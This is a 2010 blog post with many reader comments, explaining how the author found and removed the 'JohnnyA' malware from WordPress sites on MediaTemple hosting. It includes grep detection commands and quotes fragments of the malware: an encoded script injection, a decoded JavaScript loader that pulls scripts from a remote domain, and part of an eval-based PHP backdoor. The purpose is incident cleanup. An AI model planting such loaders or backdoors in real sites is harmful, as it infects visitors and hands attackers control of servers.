JohnnyA WordPress malware on MediaTemple

My MediaTemple (gs) account got hit by JohnnyA a couple weeks ago. I assume that it occurred because I was slow to update my WordPress to version 3.0. Lucky for me, I actually looked at my blog only 4 days (yikes!) after the exploit occurred. Avast caught the site attempting some sort of JavaScript exploit, which clued me in to the problem.

After digging through the site using Firefox and the Firebug plugin, I found the offending JavaScript and stumbled upon the WordPress Administrative user, “JohnnyA”. So I deleted the code from the file and disabled the database user, only to have the exploit reappear less than 24 hours later.

Confused by its reappearence (I had updated WP to the latest version of 3.0), I contacted MediaTemple support. (mt) politely informed me that the problem was mine own and pointed me to this “System Status” link:, which states in bold “…this is not exploiting any architectural or system vulnerability” which translates to “Fix it yourself or pay someone to do it for you.

Anyhow, noting that an Adminstrator, username JohnnyA, had been created, I searched and stumbled upon this thread: Realizing that there was a .php vector to this attack in addition to a .js vector, i opened up an SSH session and grepped through my “domains” directory. After finding and neutralizing the offending .php file and offending .js file, the site was back to normal and has been malware free for the last 48 hours.

I have since been passively monitoring my site with a plugin called “WordPress File Monitor” which fires off an email every time a file is modified on the site. Hopefully, that will provide an alert of future exploits. I have also installed several other security-related Plugins. Check out for a good rundown on WordPress security.

Bottom line, MediaTemple is not at all to blame for this. If I was to exploit a WordPress vulnerability, I would target hosting companies like MediaTemple for the sheer number of (un)managed WordPress installations. Lesson learned? Keep your software up to date!

Edit (2010-07-30): After further looking into this, it appears, IMHO, that MediaTemple (gs) architecture may be at fault. They have acknowledged that there were some sort of permissions issues that allowed neighboring (gs) accounts to read each others data. So they implemented Access Control Lists as a fix ( Reading between the lines, something (?) was wrong and MediaTemple took steps to fix it. Transparency? Not really.

The new bottom line is: Something happened to compromise my (gs).
Lesson learned: Don’t issue an opinion based on spoon-fed incident reports. My apologies to WordPress.

Edit (2010-08-06): The comments are well worth reading.

If you are interested in fixing things yourself, here are the steps I took for my MediaTemple (gs) account:


I take no reponsibility for the following steps. They worked for me, but there is zero guarantee that they will work for you. Backup or no backup, what you do is at your own risk.


Change directory to your “domains” directory so that you can recursively grep all websites within.

cd ~/domains

Search for the offending javascript by looking for a “document.write(unescape”.

grep -R "document.write(unescape" *

Note that there may be legit occurrances of this (e.g. google analytics). Look for something similar to the following:<ads><script type="text/javascript">var st1 = 0
; document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A
;var gr0=0;</script></ads></body>

In case you are interested, the above translates to the following which tries to open a malicious “mootools” javascript on a remote domain:

<script type="text/javascript">
var a = window.navigator.userAgent,
    b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
    c = navigator.appVersion;
if (document.cookie.indexOf("watchtime") == -1 && !a.toLowerCase().match(b) && 
	c.toLowerCase().indexOf("win") != -1) {
    var d = ["", "", "", 
        e = ["aqua.", "azure.", "black.", "blue.", "brown.", "chocolate.", "coral.", 
		"cyan.", "darkred.", "fuchsia.", "gold.", "gray.", "green.", "indigo.", 
		"ivory.", "khaki.", "lime.", "magenta.", "maroon.", "navy.", "olive.", 
		"orange.", "pink.", "plum.", "purple.", "red.", "silver.", "snow.", 
		"violet.", "white.", "yellow."],
        f = Math.floor(Math.random() * d.length),
        g = Math.floor(Math.random() * e.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 9072E4);
    document.cookie = "watchtime=" + escape("watchtime") + ";expires=" + 
		dt.toGMTString() + ";path=/";
    document.write('<script type="text/javascript" src="http://' + e[g] + d[f] + 

Once you have found the offending javascript malware, remove it from the file. Make sure that you only remove the “bad” part (e.g. don’t delete the <body> tag or anything else adjacent).

Next step is to look for the .php malware. The following looks for a character string longer than 255 (somewhat arbitrary number) within all .php files:

grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *

You should get back something similar to:<?php $o = '1RqLcptI8lcIpQrgSAj0shVZtnNZZ9dVSZ
28\x24\x6F\x29\x29\x29\x3B"); ?>

This line of code is the core of the malware and another piece to be deleted. It allows the bot or hacker to manipulate the contents of the site and execute queries against the database.

Of note is the “eval” statement at the end of the line, the contents of which translate to:


So basically, the hacker has encoded and gzip’d a whole mess of code that sits and waits for commands to be executed.

Hopefully (I say “hopefully” because I haven’t had the time to pour over all the code and database to make sure that there isn’t some other vector to this attack) removing the code from those two places and disabling the database user “JohnnyA” is all that is required to restore a little sanity…at least until WordPress exposes its next vulnerability.


63 Responses to “JohnnyA WordPress malware on MediaTemple”

  1. Seb on July 18th, 2010 5:18 pm

    hi,all my MT hosted blogs have been attacked by this JohnnyA. beside all that code injected i also found this: <h5><script src=ht tp://kh aki.gaind ery.min.js></script></h5> injected on older posts so look for that line too (i've added spaces)

  2. Justin Fuhrer on July 19th, 2010 11:42 am

    Thanks, you're a hero! I too discovered I had this "JohnnyA" adminstrator suddenly and am now grep'ing for the malicious code. What a PAIN!

  3. meenu on July 21st, 2010 6:31 pm

    hai, My site has been attacked by JohnnyA.How to remove this script.Please reply

  4. uhleeka on July 22nd, 2010 10:20 am

    @meenu: If the instructions in my post are beyond your expertise, check out They are (mt) recommended.

  5. Scott on July 23rd, 2010 5:40 am

    Thank you! This is a clear, concise way to remove the JohnnyA exploit.

  6. Michael VanDeMar on July 23rd, 2010 6:48 am

    Please let us know if you do happen to get hacked again. I think as people clean their blogs and upgrade, only time will tell if mt still has a security issue.

  7. uhleeka on July 23rd, 2010 9:59 am

    @Michael: My sites are still clean, but I will let you know if I do get hacked again. I do think it is a WordPress issue, not an (mt) issue. (mt) just posted more information:

    They try to say that WordPress is not to blame, but IMO it has everything to do with an exploit of an outdated version. The (mt) comments seem a little too politically correct…Thanks (mt).

  8. Jerry on July 26th, 2010 5:48 am

    Dude its not a 2.92 hack its a 3.0 hack ONLY. 3.0 is the source of the issue i have sites on the same account running 2.92 that are completely unaffected and I also have 3.0 and all of the 3.0 are infected, but all 2.92 are not touched.

    It's not an MT thing its most definitely a 3.0 exploit. I just wish they would release a patch or tell us how to fix the issue but I'm sure they just haven't figured it out yet, and don't want to tell more people how to jump in because that will mean even more script kiddie shenanigans.

    I have one group of sites running on another account with some security plugins that changed the name of a few files and removed my version info. I guess this keeps the sniffers at bay which are looking for 3.0 installs. It's working fine over there so far. I dont want to take any chances so i saved all of my content to Microsoft one note and I'm redoing the entire thing. Sucks but I'm not taking any chances. Don't forget you also need to change your WP secret keys. If you dont it will allow someone to gain access via cookies (according to another site that was talking about securing a hacked version of word press 3.0). There's 3 WP security keys that need to be changed to ensure security.

  9. uhleeka on July 26th, 2010 8:46 am

    @Jerry: None of my sites were 3.0 at the time of the hack, so I definitely don't agree that it was specifically a 3.0 hack. Given your experience, it sounds like it is a WordPress hack in general. So I'll amend my previous comment to "I have no idea what is being exploited". Again, I think (mt) is being a little too coy about the whole thing. I think they ought to come right out and say "The following 3rd party applications are to blame:" instead of "the most common way of gaining access is through non-secure customer-installed software". The only thing my compromised sites have in common is WordPress.

  10. Michael Janzen on July 26th, 2010 11:39 am

    Nice sleuthing and write-up! Thanks for the heads-up you left on my blog too.

    One thing I suspect Media Temple might have done to make it easier was setting the permissions of the domain root folder to something more secure. But then again I learned a lot about securing wordpress over the last two weeks.

    I cracked his code but can't figure out what it does. It's much more complicated than the usual javascript redirect. Any ideas?

  11. Scott on July 26th, 2010 12:45 pm

    Disagree with Jerry as well. Was hacked in 2.92 and even older installs. Nothing happening since I went to 3.0.

    Not saying that there isn't a hole somewhere in the WP code base, but it's not as simple as saying it's a 3.0 only problem. It's simply not the case.

  12. uhleeka on July 26th, 2010 1:28 pm

    @Michael: I do think that (mt) hardening permissions ( had something to do with the cleanup/prevention as well. They state "The permissions settings we witnessed could make user scripts and files readable to neighboring (gs) users and in some cases the public internet." But I've never messed with my permissions, so…?

    Anyhow, the .php script works by listening for a particular set of GET/POST arguments. If it finds the right set of arguments, it can do a number of different things, including executing code passed in by the GET/POST. Basically, it allows the hacker to execute any code she wants (adding javascript code blocks to specified pages within the site; adding new administrative users named "JohnnyA" or "JohnnyB"; etc.).

  13. Jason on July 26th, 2010 3:02 pm

    I've personally only seen it on MT GS sites. The version of wordpress didn't seem to matter or what plugins where installed. The sites that were affected were also dev sites and not published anywhere on the web (google, bing etc.) so I think the permissions on mt may play some part in it.

  14. uhleeka on July 26th, 2010 3:56 pm

    @Jason: The whole "user scripts and files readable to neighboring (gs) users" is pretty frightening. Change "readable" to "accessible" and we can then see why this thing has propagated itself through so many (mt) customer websites…but then it doesn't say "accessible", so… At least they have now taken the steps to implement ACL's.

  15. Ryan on July 27th, 2010 8:32 am

    I stumbled upon the JavaScript portion of the code with AVG's LinkScanner after finding JohnnyA (and that's how I found this post). However, I have yet to find the PHP portion of this attack; I grepped the directories but found nothing of consequence.
    I know you can only speak to what you discovered on your own site(s), but has anyone else here found the malware in a different way? Can you say what file in particular was effected? In our case, the JavaScript was outside of the wordpress directory, in the root directory of the site, which makes me wonder if the problem could jump domains as well.

    The problem site is a MT (gs) site.
    Also, I can only really confirm that I found this after already having upgraded to 3.0, I can't say if it was already there. It does seem recent though, since it was turning up on users' security, so I wouldn't rule it out.

    Thanks for the post.

  16. Ryan on July 27th, 2010 8:54 am

    Update: while I couldn't find the malware with grep (don't know why), I did find it in our theme's header file. I should have just realized that I could search for a file that was modified on the same date as the one that contained the JavaScript.

  17. Jeff on July 28th, 2010 10:53 am

    Hi. Thanks for the invaluable information, and comments. I write as the co-proprietor of a WP blog that is NOT on media temple servers. We discovered the exact same code as above (what is the significance of those .com URLs, all of which are operations based in Michigan?), while running 2.9.2. We are now up to 3.0 and trying to keep clean via password changes, WP File Monitor plugin, etc.

    However, one thing that would make us sleep a little easier is a better understanding of how this happens, and what can be done to close the security holes.

    Thanks again.

  18. Jeff on July 28th, 2010 11:32 am

    On further investigation, it does look like we are (mt) based. My bad.

  19. uhleeka on July 28th, 2010 2:44 pm

    @Jeff: Glad the info helped. As for closing the security holes, I don't have a lot of expertise in that area. Without more details, IMHO, this was a (mt) permissions issue–has anyone been affected who is NOT on MediaTemple? The addition of ACL's by (mt) should hopefully prevent future attacks of this nature. You could also subscribe to a service like

  20. Scott on July 29th, 2010 1:27 pm

    One thing I noticed where the actual exploit files were hidden was that they were often stashed in a directory full of images. A lone .php file in a directory of .gif, .jpg and .png files sticks out. I found 'em all over the place though.

    I also found them in de-activated wp plugins as well. These were the scripts that allowed them to get control by creating the JohnnyA user in the first place. You can clean all the stuff out of your header and delete the JohnnyA username all you want, but until you find the files that have the exploit code in them, it's going to keep coming back.

    The grep -iR –include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" * command is your best bet at finding the culprits.

  21. Dan on July 30th, 2010 8:04 am

    Thank you for the write up and help in identifying this exploit issue. I would have to agree with others that Media Temple is more to blame than they are admitting to. With their assumption that site permissions were incorrectly set on the grid cluster which allowed the exploit to have access to every shared directory is IMHO an admission to guilt. I host around 5 different sites with their own accounts on MT all with WP installs. Each one was version version 3.0 and all were exploited. There were no additional plug-ins.

    I did a thorough grep scan of each site only to find the offending encoded java script embedded in a half a dozen different internal scripts, including, AC_RunActiveContent.js, jquery,js and a menu.js custom script. I was never able to locate and find any of the executable php code that allows for the changes. This leads me to believe that someone was able to gain a foothold in the cluster and pretty much could do whatever they wanted to with any site that is housed there.

    When Media Temple detected the issue and realized they had a hole they attempted to patch it with a global permission fix to try to remedy the situation a few days later – and in that process also temporarily disabled just about every site hosted with them.

    Does anyone smell a rat here? Media Temple's credibility is really sub par now. I don't know about you but I'm sick and tired of spending hours and hours to clean up issues with sites hosted with Media Temple because they lack the technical expertise to manage their infrastructure. It wasn't too long ago that all the MySQL databases usernames and passwords were compromised with Media Temple as well.

    I would want nothing more than transparency and honesty and a fundamental explanation form MT on how this incursion happened in the first place – and just don't say it was because we were holding our iPhone 4 in the wrong way.

  22. uhleeka on July 30th, 2010 12:14 pm

    @Dan: (mt)'s lack of transparency is definitely disappointing. More and more, this is looking like it is (mt)'s fault for not having ACL's implemented in the first place. If it's not their fault, then they are doing an exceptionally poor job of managing the situation.

    Also, I'm surprised that you did not find the offending .php scripts. Maybe (mt) altered them for you. Are you able to search for files that were modified around the same time as your .js files?

  23. Dan on July 30th, 2010 7:33 pm

    The interesting thing about this exploit is that the perpetrators had access to a level of super admin using SSH, even though I had it disabled in my control panel for all accounts. They were then able to cover their tracks by changing the modification date of the files to what ever date they wanted, making it even more difficult to locate the offending files.

    As far as the offending .php scripts are concerned, IMHO, I suspect media temple ran a clean up script on that real quick to try to limit anyone else from getting that code on their hands, and reverse engineering it for other uses, and also to prevent any more incursions.

    Media Temple has definitely tried to spin this issue in such a way as to say it's WP fault but I think we can all agree that they surely messed up big time on this.

  24. coxy on August 2nd, 2010 2:56 am

    This isn't just affecting WordPress sites – I had the exact same issue on all sites on my MediaTemple (gs) hosting whether they be WordPress-based or TangoCMS based. The code is always inserted into the default template file for each CMS.

  25. Chris Cavalluci on August 3rd, 2010 7:36 pm

    Thanks for all the info about this problem. Several of my sites were hit at 2.9.2 and 3.0. Recently, WP 3.0.1 became available. Sorry, but I don't know yet if it patches security holes.

    During my clean up, I noticed similar traces. I also discovered that an affected DB had a usermeta table which stored malicious javascript in a nickname record. The usermeta record was linked to the JohnnyA userid.

    The javascript refers to the Decode function

    function Decode(){var temp="",i,c=0,out="";var str="46!46!46!32!60!98!32!105!100

    My guess is that the function decodes the long strings hidden in parts of the site.

    Please pardon me — I'm still sleuthing. Here are more of my observations:
    After I upgraded to 3.0, I noticed that 2 seconds after the upgrade, files were renamed. For example,
    /html/wp-includes/js/comment-reply.js was renamed to 
    and the malicious code is inside the new comment-reply.js file. 

    After additional file inspection, I discovered that the comment exploit pertains to a piece of iframe code which calls a site to download malware. See for information on the java applet dev.s.AdgredY

    Finding and eliminating this problem is rather complex because:
    1. It's unclear whether the vector comes from beneath the /domains/ folder or not.
    2. The propagation behavior applies to post data, DB accounts (e.g. johnnyA), and file system permissions.
    3. Reinstalling WP may not prevent the exploits from returning to a WP installation.
    I, too, have not received any extraordinary assistance from mt. As for cleanup resources, I've found these helpful URLs:
    to scan the site and decode the js
    to remove the malware. However, it does not prevent re-infection.

  26. Tison on August 4th, 2010 3:56 pm

    All, I currently have 14 infected domains on a Mediatemple grid server (gs) account. The original injection I believe is due to a hole in an older versions of WordPress.

    I have domains with no content – (I have only purchased the domains) – that are infected.

    I just spoke with (mt) and they in fact reassured me that there is NO SECURITY BETWEEN DOMAINS on the Grid server. I was under the mistaken belief that there was. However, because all the domains are accessible under the same file system, accessed by the same user, they are accessible (albeit completely open) to the "neighboring" domains.

    So, in this regard, I highly recommend anyone who is hoping to support multiple wordpress-hosted sites, to NOT in fact use the grid – if one domain is compromised, they all are.


    I would highly recommend you alert your users, and take your sites offline until clean. This virus is extremely dangerous to computers not running virus protection. I would recommend that users install AVG or Avast (both free) if they don't have one.

    Your instructions on cleanup are mint. Putty (ssh) has identified all injections in php & js files, and I've saved the output in case I need it for reference later.

    The following strings seem to be the common theme:

    – "document.write(unescape" in js files
    – "$o=" in php files as well as
    – your grep (above) for strings longer than 255 chars
    – "<script " in wordpress posts (in the db)


    You will definitely have to upgrade WordPress to at least 3.01.

    Change all your database passwords everywhere, your admin user passwords, your secret key.

    I would highly recommend the WordPress File Monitor Plugin for wordpress sites. I'm also looking for a script that will monitor file changes on non-wordpress sites (suggestions anyone? Please respond here if so:

    Also – I would recommend everyone make sure all your directories are 755 and files are 644 permissions.

  27. Tison on August 4th, 2010 5:16 pm

    All, the guys at MediaTemple just called – there is a quick fix to prevent cross-scripting (between domains) on the grid accounts using the open_basedir restriction.

    You'll just need to add the following to your .htaccess file:

    php_value open_basedir /home/xxxx/domains/

    (Make sure to change xxxx to your grid account number, and to your domain)

  28. uhleeka on August 4th, 2010 5:25 pm

    @Tison: How can you tell that the malware is "due to a hole in an older version of WordPress"? What version of WordPress is being exploited?

  29. Tison on August 5th, 2010 4:13 am


    Actually, I'm not positive if it is in fact wordpress – I notice my worst infection was in the wordpress-driven domains, and some installations were definitely out of date.

    I also wanted to let everyone know – I found one new vector this morning, inside several .js files, the following injection:

    var st1 = 0;
    (function(c) {
    	return d
    var gr0=0;

    You can search for it using your grep command above, limited to .js files:

    grep -iR –include "*.js" "[a-zA-Z0-9\/\+]\{255,\}" *

  30. Daniel C. on August 5th, 2010 1:05 pm

    I'm a tech support agent over at (mt) Media Temple.

    This whole blog post is great, but I feel there was some misunderstanding about your 7-30 edit.

    I just want to clarify that the ACL's and permissions issue that we mentioned in the update were the result of internal security auditing. Basically the issue was this: if a user *intentionally* granted global read permissions on their OWN /domains/ folder, it was possible to be read by immediate neighbors.

    We treat ANY kind of security vulnerability in our architecture very seriously, needless to say this discovery was top priority and fixed within a day using ACL's.

    I would like to be extremely clear about what was found:

    – This did NOT affect all (gs) users

    – I personally spoke with the techs who wrote the proof-of-concepts the night before the ACL's rolled out. A very, VERY small percentage of users had messed with their /domains/ folder permissions and were therefor susceptible. Some clusters had a few as a few dozen users with self-modified permissions.

    For *nix savvy users, I'd like to put this into perspective:

    – Default ~/domains/ permissions for every single (gs) Grid-Service, on any Cluster is 750.

    – These users essentially ran something like chmod 777 ~/domains, some users ran 755.

    – The ACL's that were rolled out essentially stopped any chance of local neighboring users from viewing any files regardless of your /domains/ permissions, even if set to 777.

    – We found no evidence that anyone had found this or used this previously. There was certainly no indication that the few users making their own sites potentially vulnerable could cause WordPress exploits for users with proper permissions on entirely different clusters.

    I completely understand your concerns, but NOBODY benefits from hiding information about these exploits. We're not in the business to cover up information that could help us, our customers, and compromised users on other hosts make informed decisions before and after a hack.

    Being in tech support myself, it's been a tremendous amount of work helping customers clean up their sites. Moreover, we're not the only hosting company affected by this, I'm trying to say that the ACL has little do with the johnnyA attack.

    My personal opinion on these hacks:
    – This is likely a botnet scanning sites for various common PHP and MySQL injection exploits using XSS vulnerabilities.
    – If the attackers find any kind of vulnerability, they are likely dropping payloads specifically targeting major CMS's such as WordPress and Jooma. This makes sense form an attackers perspective as they only need to run a few instances of the attack.
    – This is still related to either previously compromised installations (eg. users migrating hacked blogs), any kind of vulnerability in plugins or themes (all 3rd party), or any other PHP/MySQL driven application running on the same server. PHP is based on FCGI, so if one of your sites have been compromised (WordPress or not) it could affect others.

    Security recommendations:
    – Harden WordPress. Pay specific mind to disabling WordPress from 'displaying' the version information and 'security through obscurity' section.
    – Clean up your code. If you have any custom or 3rd party code, audit audit audit. Sanitize input, read security forums, etc.
    – Version control. If you are a developer and you're not using svn or git, I recommend it highly. You can find out if your blog has changed, even a single line of code, by running one single command. This is incredibly easy to configure and is recommended for all users no matter what kind of project is being used.
    – Check out the following script, it's not for everyone but can offer an additional layer of protection. It's a little overzealous, but it can be customized to suit users needs:

    Please, if any of you have any 'I'm hacked, what next?' questions, (mt) Media Temple support is available 24/7. Unfortunately we can not hand fix every blog ourselves, but we can do our best to point you to useful information (such as this blog post) or give some advice. We're working on scripts that users can just pop into SSH to fully scan and clean their sites from the majority of these injections.

    I apologize for the long post, and I hope you all understand where I'm coming from when I write this. We are not some faceless company bent on hiding our faults, we would like this solved, your sites clean, and everyone to continue blogging without headache.

  31. Ross Hair on August 5th, 2010 5:57 pm

    As a non techie I really enjoyed reading all the comments but realize I'm totally screwed and need to get out the old credit card and pay to fix another tech problem … WTF!

    I have websites hosted with multiple hosting companies and it is only on MT that I have issues – first the re-direct hack and now JohnnyA.

    I'm really disappointed with MT. Great guys in customer support etc etc but this should be a quick fix that they provide to all their clients. Sending a non techie to a tech manual is a complete waste of time.

    Come on MT … pick up your game.

  32. Ed on August 6th, 2010 7:39 am

    Great post! My site has been hacked too (hosted on MT) with warning from Google…, has been cleaning/checking whole day today, hope it will be fine~

  33. Ross Hair on August 6th, 2010 8:15 am

    The squeaky wheel gets the most oil …

    Since posting on here last night I've had 3 customer service calls from MT this morning. 10 out of 10 for support but all I really want is the problem fixed.

  34. Andrew Personette on August 6th, 2010 8:27 am

    Hey Daniel C.,
    If you guys come up with one of the simple fix solutions you mention, please make sure to post it here. This is the most popular result for JohnnyA related hacks.

    Andrew (Infected MT user)

  35. Janet fouts on August 6th, 2010 9:50 am

    Thanks so much for the writeup. I know what I'll be doing all day. All my client sites will get updates today!

  36. uhleeka on August 6th, 2010 12:09 pm

    @Daniel: I sincerely appreciate your comments and the time you taken.

    My biggest problem with the situation has been a lack of clarity. The original (mt) response seemed to point the finger at outdated versions WordPress, but the next response seemed to retract that and then point the finger at "non-secure customer-installed software". Then the article about ACL's pops up, saying, "The permissions settings we witnessed could make user scripts and files readable to neighboring (gs) users and in some cases the internet-at-large. This could include config files for web applications that may contain sensitive database authentication information." That quote is a far cry from your "We found no evidence that anyone had found this or used this previously. There was certainly no indication that the few users making their own sites potentially vulnerable could cause WordPress exploits for users with proper permissions on entirely different clusters."

    Given an exploit, from my perspective… First and foremost, I need my sites to be fixed–I was able to accomplish this. Second and just as important, I need to know that my sites are no longer vulnerable to a repeat attack–to "know" this, I spent considerable time trying to figure out the vector of the exploit. This included trying to read between the lines (when maybe there was nothing to actually read) of (mt)'s responses–it appeared to me that there were a fair number of (mt) sites exploited, but no specific vectors of the attack were ever discussed. Admittedly, my reading-between-the-lines is probably not very accurate. But without more clarity or specifics, it is difficult to ascertain the level of accuracy.

    Your comments are more poignant and that is appreciated. I've updated my "Edit" to reflect my latest (mostly useless) perspective on the situation.

    I'd still love to hear that "(mt) has determined WordPress version x.x to be vulnerable" or "(mt) has observed the following list of WordPress themes and plugins to be vulnerable". I don't necessarily need a list of every vulnerable plugin, but it would be nice to know that (mt) has done some analysis and determined common exploits. Any information would be better than none. If that disclosure is against policy for some reason, I, personally, would find it useful to know why.

    Again, your time and opinions are appreciated. It is good to see that (mt) is actively interested in this situation.

  37. Recovering From Malware Attack | Short of the Week on August 6th, 2010 1:15 pm

    […] and plan to beef up on our security measures to prevent future attacks. If you’ve been hit, this site was most helpful for […]

  38. nick on August 6th, 2010 5:09 pm

    Thank you so much for posting this information. I have a number of sites hosted on (mt). I ran the grep command looking for the malicious php code and found the code inserted into many seemingly random files across all of my domains, always at the top of the file, and WordPress installation or no; I also found wholly new files created with names like "foreach.php" and "is_file.php" that contained just the line of malicious code and nothing else – some of these files were inserted into directories that have no websites built at all yet. Still working on it……

  39. Christophe Stoll on August 7th, 2010 12:29 am

    @Tison: the last vector you added was a great hint – thank you! I hope after removing these lines, google will finally get us off their blacklist …

  40. Abhishek on August 7th, 2010 7:19 am

    Thanks dude. You are the man.

  41. (mt) Travis O. on August 7th, 2010 9:08 am


    Thank you for the feedback. Recently we updated our Security blog post. There's a lot of info there and it is a little long but we want to make sure that we're clear and we cover everything we know up to now.

    I would ask that you pay special attention to the section marked "What is (mt) doing to help?" We are working very hard to come up with a simple and elegant way of helping our customers clean up their infected sites. We hope that this will address concerns of customers like Ross and Andrew. Additionally, we are going to work very hard to help de-list our cleaned customers from Google's Google Safe Browsing warnings.

    We are working on creating a list of plug-ins, theme's, etc that we have observed as vectors to attack. It probably won't be exhaustive and will be updated as we find more, but I completely agree that this information is invaluable to our customers. With regard to vectors of attack, we and many other 3rd parties have not been able to pin down a single source. Hopefully we will soon and I can assure you that, as soon as we do, it will be sealed off and we will share the information asap.

    Finally, I invite you to look through and contribute to our Security Wiki:

    Thanks again and keep the feedback coming.

  42. JohnnyA Hack on MediaTemple grid server | Netscraps on August 7th, 2010 10:15 am

    […] JohnnyA WordPress malware on MediaTemple […]

  43. Ben on August 7th, 2010 8:30 pm

    I am a MT user and I have never been satisfied with their Customer Support. Sure, they respond quickly, but EVERY SINGLE TIME they have been unable to help me with any of my problems.

    I'm not a techie, just a guy who runs a couple of blogs for my business so there's no way I am going to be able to do even HALF of the things you guys are talking about here.

    I asked MT about this and all they did was ask me to read their "Security Bulletin" and pointed me to this site also.

    According to MT, I have 2 options, read all their recommended links and fix the problem myself OR pay another company to do it (and this company has conveniently appeared from nowhere)

    If they are so good at what they do, isn't is easy for them to just search and clean out the malware instead of recommending us to pay for someone else's services to do it?

    Then what exactly are we paying MT for?

    I am seriously stuck and MT is really being of NO HELP WHATSOEVER.

    Meanwhile, every day that this goes unresolved, I'm losing business.

    MT = BP of hosting.

  44. Tristan on August 8th, 2010 3:42 am

    Thanks for the info. Also found "JohnnyA" as an Admin in our site. Strangely in PHPmyAdmin the creation date for his account was set to 0. Also found some suspicious PHP files in a separate installed directory (sub-domian). All fixed now and we are removed from the Google malware blacklist.

  45. Todd Santoro on August 8th, 2010 4:39 pm

    It does not seem to be isolated to WordPress. The common denominator in my sites is that they are all hosted at media temple on the same (gs). Most of them are WP 3.0.1 and some of them also had Fusion Charts.

  46. Dylan on August 9th, 2010 5:24 am

    I too have sites on MT GS that have all been affected by this (about 8 of them). I've managed to remove the unwelcome PHP and JS snippets – thanks for the grep commands above btw – and I removed the JohnnyA accounts from 2 WP blogs.

    It's a shame that I had to find out about this via Google webmaster tools. Is it too much to ask for MT to help us out and let us know if we've been affected? We've mostly got one thing in common – MT GS. Although it's slightly helpful, the support response of a standard load of copy instead of a personal message is lame.

    I'm happy to know that my other hosting is running rock solid and hasn't had a hitch. I think I'll be moving the rest of my stuff off MT sometime soon.

    Another mildly unhappy MT customer

  47. Steven on August 9th, 2010 6:00 am

    Great tutorial! Reviewing my media temple (gs) wordpress blog I was able to remove admin JohnnyA and two exploit files this morning following the clear instructions.

    Unfortunately Google has already flagged the site saying "This site may harm your computer" on Google searches. Also when I try to go to the URL ( in Firefox and Chrome I get a warning page instead of the site. Does anyone know how to remove this? I submitted a request to Google under Google's webmaster tools to "reconsider" the site. Sadly the re-evaluation page says "Please allow several weeks for the re-evaluation process". Does anybody know a quicker way of getting the site back up quicker? The client is getting very anxious about their site.


  48. mauma on August 10th, 2010 1:56 am

    i have more site on MT and all site with the jonnyA malware, fine i clear all site with the hack on this page, but this morning i found 3 site with one other problems more file .js have a bad code and change the permission on not readable, and rename in global.js.1435 … and the server MT don't run on ssh on terminal…
    my fear is thath is not resolve the problem…

  49. Wordpress Security Tips — Social Media Coaching Center on August 11th, 2010 3:04 am

    […] with it.Now I have to say that although Media Temple initially sort of threw up their hands and passed the buck to WordPress when they realized the damage it was going to do to their reputation they stepped up and created a […]

  50. kyle on August 11th, 2010 9:05 am

    Thank you for the article. This is exactly what I needed. I had a MT server hacked like this, and you were able to give me the tools to clean it up. Thank you!

  51. byron on August 11th, 2010 6:55 pm

    Well, if it's not related to MT, then where are all the people using other Hosts complaining about this problem? I didn't use MT in my Google search that landed me here, and the other 4 sites I visited were talking MT as well. Either MT is the only host with WP users or there's something going on.

    4 sites hacked…WP 3.0…all on MT. Just found out tonight when my traffic didn't recover from the weekend.

    Why do I feel like we're going to be talking about this again real soon…

  52. Jeff Gerstmann is Still Alive » Blog Archive » Malware! on August 12th, 2010 7:01 pm

    […] Here’s more on what I’m looking at due to good ol’ “JohnnyA.” […]

  53. Problemas con MediaTemple y Wordpress? | carloscaicedo on August 14th, 2010 1:45 pm

    […] estar padeciendo este ataque, quiero compartirles unas instrucciones para solucionar el problema en Uh Lee Ka. A continuación las resumo, pero les recomiendo que lean todo el […]

  54. Ian Schaefer on August 15th, 2010 9:05 am

    Thanks uhleeka for creating this very helpful page. Thanks to JohnnyA, I've had several WP databases hacked, and general nastiness throughout all my sites on (mt). Your detailed instructions put me back on track. First rate work!


  55. dashboards on August 17th, 2010 6:14 pm

    one of the jquery.js file is also infected but then i find jquery.js.1435 file which I cannot read nor change the file attributes. The timestamp is the same when the jquery.js got infected

  56. dashboards on August 17th, 2010 6:18 pm

    It seems MT did update the files. I got one infected footer.php in the themes directory and it has footer.php as well footer.php.mt_backup_Thu_Aug_12_10:04:48

    I cannot read nor change the file attributes for footer.php.mt_backup_Thu_Aug_12_10:04:48. Any idea how to view it?

  57. Recent Malware attack on « Alison Foxall, Media Designer on August 19th, 2010 4:25 pm

    […] my server, was infected with this attack by “johnnyA.” Naturally, I Googled it. I found this article explaining what happened, how to fix it, and what was going on about […]

  58. CLRH2O on August 21st, 2010 9:55 pm


    IN answer to your question – you can only modify the permissions of the files MediaTemple changed for you (us) by way of the file manger within your account center. From there you can make the file readable and finally move or delete as you see fit via FTP or SSH.

    As for myself – I've been hit all three times… and Hard. Google is still listing one of my domains (the most important and active of our record labels currently) as harmful even after having being reviewed for reconsideration on the 11th of August.

    The time I've lost, MONEY we've lost due to having to cancel advertising campaigns based of traffic being routed to the domain and so many other things I could literally pull my hair out! I'm a label guy, a music man and a long time web designer who's learned everything I know by way of my own hands and needs at the time. Did I want to learn how to grep for base64 exploits? HECK NO.. but I have. And it's more time wasted against what I should be doing with my days.

    Had this not now turned into three separate attacks, what is gaining on close to 80 different password updates across some 18 domains (each time) and the loss of so much time (ie, money) I'd be a little less at my wits end. And now – after reading the comments here to come and find out that with all my hardening, all my work, all my cleaning – it very likely will happen again due to either A) something left over in a database that pumps out JavaScript or B) that the actual compromise is below the domains level of user accounts (actually a MT Grid-service level attack). I'm just over it. Utterly. This has been going on for MONTHS!

  59. Zach Wingo on August 23rd, 2010 8:48 pm

    There is a known XSS exploit that affects the latest WordPress version 3.01

  60. Soccer Dad on August 27th, 2010 2:50 am

    Man what a mess. Stuff was everywhere. Setting the open_basedir flag is paramount because I had infected files in webroots of *dead* domains. Anyway – in addition to all the listed things above, I found some JS exploits similar to Tison, but encoded. They're at the top of all sorts of random js files – not just jquery. They look like this:
    var st1 = 0;document.write(unescape('%3C%73%63%72%69%……..%69%70%74%3E'));var gr0=0;
    Slammed into the first line with whatever was on the first line stuck at the end. Note the escaped string is MUCH longer.

  61. La herramienta de medición que yo desearía no haber tenido que utilizar nunca : Mundo PPC on October 15th, 2010 2:35 pm
  62. Greg K. on December 14th, 2010 8:35 am

    Thank you for sharing this method. I was able to find file using "grep" that Sucuri missed.

